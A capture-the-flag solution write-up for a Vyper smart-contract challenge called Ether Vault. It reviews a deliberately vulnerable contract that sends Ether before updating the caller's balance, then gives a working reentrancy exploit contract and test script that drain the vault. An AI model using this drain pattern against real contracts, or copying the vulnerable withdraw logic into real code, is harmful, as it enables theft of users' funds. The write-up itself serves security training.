Contents

Offensive Vyper - Challenge 3 - Ether Vault

Solution for “Offensive Vyper - Challenge 3 - Ether Vault”.

1) Challenge

Description
The Ether Vault allows deposits and withdrawals. It currently holds 10 Ether. Your objective is to drain all of the Ether from the vault.

Challenge created by @jtriley_eth.

2) Code Review

EtherVault.vy contract (source code):

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# @version ^0.3.2

"""
@title Ether Liquidity Pool
@author jtriley.eth
"""


event Deposit:
    account: indexed(address)
    amount: uint256

event Withdrawal:
    account: indexed(address)
    amount: uint256


deposits: public(HashMap[address, uint256])


@external
@payable
def deposit():
    """
    @notice Deposits Ether.
    """
    self.deposits[msg.sender] = unsafe_add(self.deposits[msg.sender], msg.value)

    log Deposit(msg.sender, msg.value)


@external
def withdraw():
    """
    @notice Withdraws Ether.
    """
    amount: uint256 = self.deposits[msg.sender]

    raw_call(msg.sender, b"", value=amount)

    self.deposits[msg.sender] = 0

    log Withdrawal(msg.sender, amount)


@external
@payable
def __default__():
    """
    @notice Receives Ether as Deposit.
    """
    self.deposits[msg.sender] = unsafe_add(self.deposits[msg.sender], msg.value)

    log Deposit(msg.sender, msg.value)

Contract main functions:

  • deposit and the fallback function __default__ update the public variable deposits (a HashMap that holds the balances of different accounts), incrementing the balance of the account that calls the function (line 27 and line 52)

  • withdraw takes the value from the deposits variable (line 37), sends this value to msg.sender and later set the deposits balance for msg.sender equals to 0

Question
How can we drain all the ETH balance from the contract?

The withdraw function is vulnerable to a reentrancy attack because it first sends ETH to the caller and only later updates their balance. It means we can call again the withdraw function (in our fallback function) and drain all the funds from the contract. It is possible because the variable used to determine the withdrawal amount, i.e. deposits, is only updated after the ETH are sent, so if we re-enter the function by calling again as soon as we receive some ETH, it will hold the same value again (so we’ll receive the same amount). If we repeat these steps until the EtherVault has funds, we can drain all its ether.

3) Solution

The solution consists of four different steps:

  • send 1 ETH to our attack contract
  • from our contract, deposit 1 ETH so that the deposits variable for our contract will hold 1 ETH
  • call the withdraw function
  • inside the __default__ fallback function, call the withdraw function again until the EtherVault balance is greater than 0

ether-vault.challenge.js:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
    it('Exploit', async function () {
        // YOUR EXPLOIT HERE

        let exploit = await (await ethers.getContractFactory('EtherVaultExploit', deployer)).deploy(this.vault.address)

        await exploit.connect(attacker).run({
            value: ethers.utils.parseEther('1')
        });

    })

EtherVaultExploit.vy:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
# YOUR EXPLOIT HERE
@external
@payable
def run():
    raw_call(
        self.target,
        _abi_encode("", method_id=method_id("deposit()")),
        value=msg.value
    )

    Ethervault(self.target).withdraw()


@external
@payable
def __default__():
    if self.target.balance > 0:
        Ethervault(self.target).withdraw()

You can find the complete code here and here.

4) References